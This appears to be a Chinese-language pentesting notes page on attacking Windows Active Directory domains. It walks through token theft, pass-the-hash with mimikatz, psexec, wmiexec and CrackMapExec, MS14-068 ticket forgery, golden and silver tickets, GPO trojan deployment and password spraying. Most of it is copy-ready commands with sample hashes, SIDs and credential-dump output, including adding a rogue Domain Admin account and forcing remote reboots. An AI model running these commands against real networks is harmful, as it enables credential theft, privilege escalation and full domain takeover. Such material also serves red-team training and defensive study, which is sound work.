域渗透思路 通过域成员主机,定位出域控制器 IP 及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进而拿下域控制器、渗透整个内网。
token窃取 令牌(Token) 令牌(token)是系统的临时秘钥,相当于账号和密码 ,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源 ,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
令牌有很多种:
访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾
Windows的AccessToken有两种类型:
Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话 (例如使用net use访问共享文件夹)。
AccessToken的窃取与利用 AccessToken的窃取与利用需要administrator管理员权限。也就是说要提权。
窃取AccessToken的方法:
incognito.exe程序 、MSF里的incognito模块
incognito.exe https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
AccessToken 的列举(需要 administrator 权限,且当前主机登录域用户)
1 incognito.exe list_tokens -u
1 incognito.exe execute -c "完整的 Token 名" cmd.exe
MSF下的incognito模块 1 2 3 4 5 6 7 8 use incognito #加载incognito list_tokens -u #列出AccessToken getuid #查看当前token impersonate_token "NT AUTHORITY\SYSTEM" #模拟system 用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可 steal_token 1252 #从进程窃取token getsystem #提升至system 权限 rev2self #返回到之前的AccessToken权限
PTH(pass the hash) HASH 传递 Pass-the-Hash(简称 PtH)是 Windows/内网常见的一类攻击思路:攻击者并不需要知道用户的明文密码,只要得到了该用户的密码哈希值 (比如 NTLM hash),就可以在网络认证协议(主要是 NTLM 的挑战—响应机制)中直接使用这个哈希来进行身份验证,从而访问远端主机或服务,就像拿到了明文密码一样。
在域中,通常统一布置的域主机都会有统一的账号密码,因此只要拿到当前主机的administrator的ntlm hash 即可横向登录其他主机
NTLM hash认证过程
1 2 3 4 5 6 1. 客户端向服务器请求访问2. 服务器 -> 客户端:发送随机 challenge(server nonce)3. 客户端:用本地密码/NT Hash 和 challenge 计算 response(不同版本算法不同)4. 客户端 -> 服务器:发送 response(以及身份信息)5. 服务器:用已知的凭证或域数据库计算/验证是否能产生同样的 response6. 验证通过 -> 授予访问
mimitkaz pth 1 2 3 privilege::debug sekurlsa::logonpasswords sekurlsa::pth /user :administrator /domain:moonsec /ntlm:42 e2656ec24331269f82160ff5962387
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Authentication Id : 0 ; 256039 (00000000 :0003 e827)Session : Interactive from 1 User Name : AdministratorDomain : 12 SERVER10 Logon Server : 12 SERVER10 Logon Time : 2025 /10/13 18 :45 :12 SID : S-1 - 5 - 2 1-86344925 2-269451726 9-220441673 3-500 msv : [00010000 ] CredentialKeys * NTLM : 42 e2656ec24331269f82160ff5962387 * SHA1 : 202 a4f252fa716b16cc934c114a2b4423add410d [00000003 ] Primary * Username : Administrator * Domain : 12 SERVER10 * NTLM : 42 e2656ec24331269f82160ff5962387 * SHA1 : 202 a4f252fa716b16cc934c114a2b4423add410d tspkg : wdigest : * Username : Administrator * Domain : 12 SERVER10 * Password : (null ) kerberos : * Username : Administrator * Domain : 12 SERVER10 * Password : (null ) ssp : credman :
mimitkaz 远程访问主机共享
wmiexec 调用远程主机cmd
1 wmiexec .exe -hashes 42 e2656ec24331269f82160ff5962387:42 e2656ec24331269f82160ff5962387 administrator@192.168.31.159
psexec 以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议
明文连接
1 2 3 4 5 PsExec64.exe /accepteula /s \\192.168.0.123 -u domain\Administrator -p 123456 cmd-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框 -s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的shell直接直接执行回显 -u 域\用户名 -p 密码
hash连接
1 psexec -hashes aad3b435b51404eeaad3b435b51404ee:32 ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123
或则用impacket 工具包下的 psexec
1 python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32 ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123
在使用 PsExec 时需要注意以下几点:
• 需要远程系统开启 admin$ 共享(默认是开启的)
• 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放445 端口
• 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。 PsExec.exe /accepteula /s \\192.168.0.141 cmd.exe
• 在使用 PsExec 执行远程命令时,会在目标系统中创建一个psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
• 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell
登陆域管理命令
impacket 下的 psexec
1 2 3 python3 psexec.py moonsec/Administrator@192.168.0.142 执行命令后输入密码
msf hash 1 2 3 4 use exploit/windows/smb/psexecset SMBUser set set
CrackMapExec CrackMapExec 可以对 C 段中的主机进行批量 pth
项目地址
https://github.com/byt3bl33d3r/CrackMapExec.git
1 2 3 crackmapexec smb 192.168.0.0 /24 -u administrator -H 32 ed87bdb5fdc5e9cba88547376818d4 对 192.168.9.0 /24 C 段进行批量 pass the hash
WMI WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中
使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口
( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)
1 wmic /node:192.168 .0 .123 /user :administrator /password :123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"
之后建立 IPC$ ,使用 type 读取执行结果
1 2 net use \\192.168 .0.123 \ipc$ "123456" /user: administrator type \\192.168 .0.123 \c$\ ip.txt
wmiexec.py 在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取shell
hash
1 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32 ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141
明文
1 python3 wmiexec.py administrator:123456 @192.168.0.123
wmiexec.vbs wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能
wmiexec.vbs 下载地址
https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2Fk8gege%2FK8tools%2Fblob%2Fmaster%2Fwmiexec.vbs
1 cscript //nologo wmiexec.vbs /shell 192.168.0.123 administrator 123456
wmic 的其他命令 使用 wmic 远程开启目标的 RDP
1 2 3 4 wmic /node :192.168.0.123 /user :administrator /password :123456 RDTOGGLEWHERE ServerName='计算机名' call SetAllowTSConnections 1 或者 wmic /node :192.168.0.123 /user :administrator /password :123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f '
判断 RDP
1 REG QUERY "HKEY_LOCAL_MACHINE\S YSTEM\C urrentControlSet\C ontrol\T erminalServer" /v fDenyTSConnections
远程重启机子
1 wmic /node:192.168 .0 .141 /user :administrator /password :123456 process call create "shutdown.exe -r -f -t 0"
DCOM Windows组件对象模型(COM)是原⽣Windows应⽤程序编程接⼝(API)的⼀个组件,它允许软件对 象或实现⼀个或多个接⼝的可执⾏代码之间进⾏交互。通过COM,客户端对象可以调⽤服务器对象的⽅ 法,通常是动态链接库(DLL)或可执⾏⽂件(EXE)。
分布式COM(DCOM)是透明的中间件,使⽤远程过程调⽤(RPC)技术将COM的功能扩展到本地计 算机之外。 通过利⽤分布式组件对象模型(DCOM)使⽤有效帐户与远程机器进⾏交互。
默认情况下,只有管理员才能通过DCOM远程激活和启动COM对象。
1 2 proxychains impacket-dcomexec 0 day/sqladmin:'admin!@#45 '@192.168.3.142
WinRM winRm(微软远程管理)是WS-Management协议的实现组件。WinRM是windows操作系统的⼀部分。 是⼀项允许管理员在系统上远程执⾏管理任务的服务,使⽤此服务需要管理员级别的凭据。
通信通过HTTP(5985)或HTTPS SOAP(5986)执⾏,(5986关闭,标识WinRM服务配置为仅接受 HTTP连接)默认情况下⽀持Kerberos和NTLM身份验证以及基本身份验证。
Windows Vista/win7必须⼿动启动,Windows 2008 以上版本默认⾃动状态;
WinRS 适⽤于Windows 2008 以上版本,Windows 2012 之后的版本默认允许远程任意主机来管理。
1 run winrs -r:OWA2013 -u:dbadmin -p:admin!@#45 "ipconfig"
PTT 票据传递(Pass the Ticket) Kerberos 认证原理 AS → TGT
TGS → ST
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 ┌───────────┐ │ 用户(Client) │AS-REQ └─────┬─────┘ │ 1 ) 请求登录:发送用户名,hash加密的时间戳 ▼ ┌───────────┐ │ AS (认证服务器) │AS-REP └─────┬─────┘ │ 2 ) 响应: │ - 给用户临时会话密钥 (Client/TGS Session Key) [用户hash加密,客户端可解] + │ - 给用户TGT,包含CT_SK [krbtht hash加密,客户端不能解,只能带去TGS] ▼ ┌───────────┐ │ 用户(Client) │TGS-REQ └─────┬─────┘ │ 3 ) 请求访问服务: │ - 发送TGT + │ - 发送Authenticator (用as返回的CT_SK临时会话密钥加密)CT_SK + │ - username ▼ ┌───────────┐ │ TGS (票据服务) │TGS-REP └─────┬─────┘ │ 4 ) 响应: │ - Service Ticket,包括CS_SK [server hash加密,客户端不能解,只能给服务端] │ - 新的客户端-服务端临时密钥,CS_SK (CT_SK加密) [客户端可解] ▼ ┌───────────┐ │ 用户(Client) │ └─────┬─────┘ │ 5 ) 请求访问目标服务: │ - 发送Service Ticket │ - 发送Authenticator2 (用客户端-服务端临时密钥加密,CS_SK) ▼ ┌───────────┐ │ 目标服务(Server) │ └─────┬─────┘ │ 6 ) 验证: │ - 解Service Ticket得到客户端-服务端临时密钥CS_SK │ - 用该密钥解Authenticator2,验证客户端 │ 6 ) 响应: │ - 返回用客户端-服务端临时密钥加密的时间戳 (证明服务端活着) ▼ ┌───────────┐ │ 用户(Client) │ └───────────┘ - 解时间戳,验证双向认证成功
MS14-068 ms14-068漏洞主要通过伪造域管的TGT,将普通用户权限提权为域管权限,以此来控制域控 。只要服务器未打ms14-068补丁(KB3011780),在server 2000以上的域控服务器中,都可进行利用。
利用条件
1 2 3 1 、获取域普通用户的账号密码2 、获取域普通用户的sid3 、服务器未打KB3011780 补丁
信息收集
1 2 3 net config workstation nltest /dsgetdc:域名 systeminfo |find "3011780"
访问 08server-dc 失败 提示拒绝访问
获取sid
1 2 3 4 5 whoami/all 用户名 SID= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = moonsec\test S-1 -5 -21 -1597891982 -3989020091 -3585142632 -1103
伪造票据
1 2 ms14 -068 .exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址ms14 -068 .exe -u test@moonsec.fbi -p 123456 -s S-1 -5 -21 -1597891982 -3989020091 -3585142632 -1103 -d 08 SERVER-DC.moonsec.fbi
清空并添加凭据
1 2 3 mimikatz # kerberos::list mimikatz # kerberos::purge mimikatz # kerberos::ptc 票据文件地址
再次访问
1 dir \\08 server-dc .moonsec.fbi\c$
psexec建立shell
1 PsExec64.exe /accepteula /s \\08s erver-dc.moonsec .fbi cmd.exe
添加域管账号密码
1 2 net user moonsec123 Qwe123.. . /add /domain net group "Domain Admins" moonsec123 /add /domain
黄金票据 黄金票据是利用krbtgt hash 伪造tgt,常用于后渗透权限维持,在管理员未更改krbtgt用户密码时,依然可以适应hash伪造tgt实现任意用户登陆。
伪造金票的所需条件
1、域名称
2、域的 SID 值
3、域的 KRBTGT 账号的 HASH
4、伪造任意用户名
导出用户 krbtgt 的 hash
1 2 3 4 mimikatz(commandline) # privilege::debug mimikatz(commandline) # lsadump::dcsync /domain :moonhack.com /all /csv或 lsadump::lsa /inject mimikatz(commandline) # lsadump::dcsync /domain :moonsec.fbi /user :krbtgt mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /user:krbtgt" "exit">loghash.txt
利用 mimikatz 生成金票生成.kirbi 文件并保存
1 2 3 4 5 6 7 mimikatz.exe "kerberos::golden /admin:system /domain:moonsec.fbi /sid:S-1-5-21-1597891982-3989020091-3585142632 /krbtgt:94557e3e6e61e6742c1d87052d21a67a /ticket:ticket.kirbi" exit /admin:伪造的用户名 /domain:域名称 /sid:SID 值,注意是去掉最后一个-后面的值 /krbtgt:krbtgt 的 HASH 值 /ticket:生成的票据名称
导入
连接成功
1 dir \\08 server-dc .moonsec.fbi\c$
反弹shell
1 PsExec64.exe /accepteula /s \\08s erver-dc.moonsec .fbi cmd.exe
白银票据 前提条件
已经控制了域名并且使用域管理员登录或者提权的system。
条件如下:
1 2 3 4 5 6 1.域名 2.域sid 3.目标服务器名 4.可利用的服务 5.服务账号的NTML哈希 6.需要伪造的用户名(这个可以随意)
信息收集
1 2 3 4 5 shell whoami /user 获取域名和SID shell net config workstation 获取完整域名 shell wmic useraccount list brief 获取域名和SID shell net time /domain 获取域主机名 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt 收集hash
1 2 3 S -1 -5 -21 -1597891982 -3989020091 -3585142632 42e2656ec24331269f82160ff5962387
伪造票据
1 2 3 4 kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名>/service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt kerberos::golden /domain:moonsec.fbi /sid:S-1-5-21-1597891982-3989020091-3585142632 /target:08server-dc.moonsec.fbi /service:cifs /rc4:42e2656ec24331269f82160ff5962387 /user:administrator /ptt
kekeo 制作环境银票
1 2 3 4 5 tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387 tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash kerberos::ptt TGT_administrator@MOONSEC.FBI_krbtgt~moonsec.fbi@MOONSEC.FBI.kirbi
连接
1 PsExec64.exe /accepteula /s \\08s erver-dc.moonsec .fbi cmd.exe
GPO组策略横向 组策略横向组策略(英语:Group Policy)是微软Windows NT家族操作系统的⼀个特性,它可以控制⽤ 户帐户和计算机帐户的⼯作环境。 组策略提供了操作系统、应⽤程序和活动⽬录中⽤户设置的集中化管理和配置。
⾃Windows Server 2008开始,GPO组策略对象开始⽀持计划任务,以便于管理域中的计算机和⽤户。
利⽤组策略的计划任务实现横向移动。
创建⼀个新⽂件夹,在共享中点击⾼级共享,然后选择权限,设置everyone的权限为完全控制
在安全中编辑添加everyone的权限为完全控制
放置⽊⻢
创建组策略
创建计划任务
等待组策略启⽤,即可上线。
密码喷洒 喷洒条件
域中基本都有相关密码策略,需要注意策略中的错误次数限制以及账号被锁定时间,避免喷洒时账 号被锁定。
密码策略检查
1 2 3 proxychains cme smb 192.168 .3.142 -u "sqlsvr" -p "Admin12345" --pass-pol proxychains crackmapexec smb 192.168 .3.142 -u "sqlsvr" -p "Admin12345" --pass-pol
账号锁定阈值,是none,则代表没有错误次数限制
账号锁定时间为30分钟
如果有次数限制,则密码字典条数最好⼩于该值,避免被锁定。
喷洒主机
已知道账号和密码,喷洒主机
1 2 proxychains -q cme smb 192.168.3.0 /24 -u "sqlsvr" -p "Admin12345" proxychains -q crackmapexec smb 192.168.3.0 /24 -u "sqlsvr" -p "Admin12345"
喷洒⽤户名
已知密码,喷洒⽤户名
1 2 3 proxychains -q cme smb 192.168 .3.142 -u users.txt -p 'Admin12345' proxychains -q crackmapexec smb 192.168 .3.142 -u users.txt -p 'Admin12345'
喷洒密码
已知⽤户名,喷洒密码
1 2 3 proxychains -q cme smb 192.168 .3.142 -u 'administrator' -p top100password.txt proxychains -q crackmapexec smb 192.168 .3.142 -u 'administrator' -p top100password.txt
喷洒hash
已知道账号和hash,喷洒主机
1 2 3 proxychains -q cme smb 192.168.3.0 /24 -u "sqlsvr" -H "ccef208c6485269c20db2cad21734fe7" proxychains -q crackmapexec smb 192.168.3.0 /24 -u "sqlsvr" -H "ccef208c6485269c20db2cad21734fe7"
喷洒服务
1 2 3 4 5 6 proxychains -q cme mssql 192.168 .3.0 /24 -u sa -p 'admin' proxychains -q cme rdp 192.168 .3.0 /24 -u sa -p 'admin' proxychains -q cme ssh 192.168 .3.0 /24 -u sa -p 'admin' proxychains -q cme ldap 192.168 .1.0 /24 -u user -p password proxychains -q cme ldap 192.168 .1.0 /24 -u user -H A29F7623FD11550DEF0192DE9246F46B
参考链接 https://www.cnblogs.com/yuzly/p/10859520.html
https://www.cnblogs.com/candada/p/17491028.html#%E4%B8%89%E5%AE%9E%E9%AA%8C%E5%89%8D%E6%8F%90